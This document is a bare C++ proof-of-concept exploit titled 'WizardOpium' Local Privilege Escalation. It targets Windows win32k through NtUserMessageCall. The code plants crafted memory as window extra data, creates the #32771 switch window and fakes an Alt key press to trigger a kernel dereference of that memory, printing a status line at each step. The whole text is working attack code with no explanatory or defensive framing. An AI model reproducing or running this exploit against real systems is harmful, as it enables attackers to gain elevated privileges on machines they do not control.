Microsoft Windows - 'WizardOpium' Local Privilege Escalation

#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}